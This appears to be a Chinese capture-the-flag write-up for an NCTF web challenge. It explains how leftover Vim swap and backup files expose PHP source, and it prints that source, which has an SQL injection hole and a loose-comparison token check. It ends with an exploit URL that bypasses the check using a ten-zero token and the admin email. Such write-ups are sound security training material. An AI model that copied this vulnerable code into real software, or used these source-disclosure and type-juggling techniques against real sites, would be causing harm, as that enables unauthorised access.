http://nctf.nuptzj.cn/web14/index.php
TIPS:
1.管理员邮箱观察一下就可以找到
2.linux下一般使用vi编辑器,并且异常退出会留下备份文件
3.弱类型bypass
<html><head>
<meta charset="utf-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1">
<meta name="renderer" content="webkit">
<meta name="admin" content="admin@nuptzj.cn">
<meta name="editor" content="Vim">
<title>logic</title>
<style type="text/css">
body,html{
position: relative;
height: 100%;
width: 100%;
padding: 0;
margin: 0;
background-color: #272822;
color: #fff;
}
form{
position: absolute;
top: 50%;
left: 50%;
width: 400px;
margin: -70px -200px;
}
form input{
display: block;
margin: 10px auto;
width: 100%;
border: none;
height: 2rem;
border-radius: 5px;
}
</style>
</head>
<body>
<form action="submit.php" method="GET">
<h1>找回管理员密码</h1>
email:<input name="emailAddress" type="text"><br>
token:<input name="token" type="text"><br>
<input type="submit" value="提交">
</form>
</body></html>
题解:
原理:
vim的特性,自动备份:
一、vim备份文件
默认情况下使用Vim编程,在修改文件后系统会自动生成一个带~的备份文件,某些情况下可以对其下载进行查看;
eg:index.php普遍意义上的首页,输入域名不一定会显示。 它的备份文件则为index.php~
二、vim临时文件
vim中的swp即swap文件,在编辑文件时产生,它是隐藏文件,如果原文件名是submit,则它的临时文件
.submit.swp。如果文件正常退出,则此文件自动删除。
获取.submit.php.swp
........这一行是省略的代码........
/*
如果登录邮箱地址不是管理员则 die()
数据库结构
--
-- 表的结构 `user`
--
CREATE TABLE IF NOT EXISTS `user` (
`id` int(11) NOT NULL AUTO_INCREMENT,
`username` varchar(255) NOT NULL,
`email` varchar(255) NOT NULL,
`token` int(255) NOT NULL DEFAULT '0',
PRIMARY KEY (`id`)
) ENGINE=MyISAM DEFAULT CHARSET=utf8 AUTO_INCREMENT=2 ;
--
-- 转存表中的数据 `user`
--
INSERT INTO `user` (`id`, `username`, `email`, `token`) VALUES
(1, '****不可见***', '***不可见***', 0);
*/
........这一行是省略的代码........
if(!empty($token)&&!empty($emailAddress)){
if(strlen($token)!=10) die('fail');
if($token!='0') die('fail');
$sql = "SELECT count(*) as num from `user` where token='$token' AND email='$emailAddress'";
$r = mysql_query($sql) or die('db error');
$r = mysql_fetch_assoc($r);
$r = $r['num'];
if($r>0){
echo $flag;
}else{
echo "失败了呀";
}
}
可知:token=0000000000
<meta name="admin" content="admin@nuptzj.cn">
所以
URL=http://nctf.nuptzj.cn/web14/submit.php?emailAddress=admin@nuptzj.cn&token=0000000000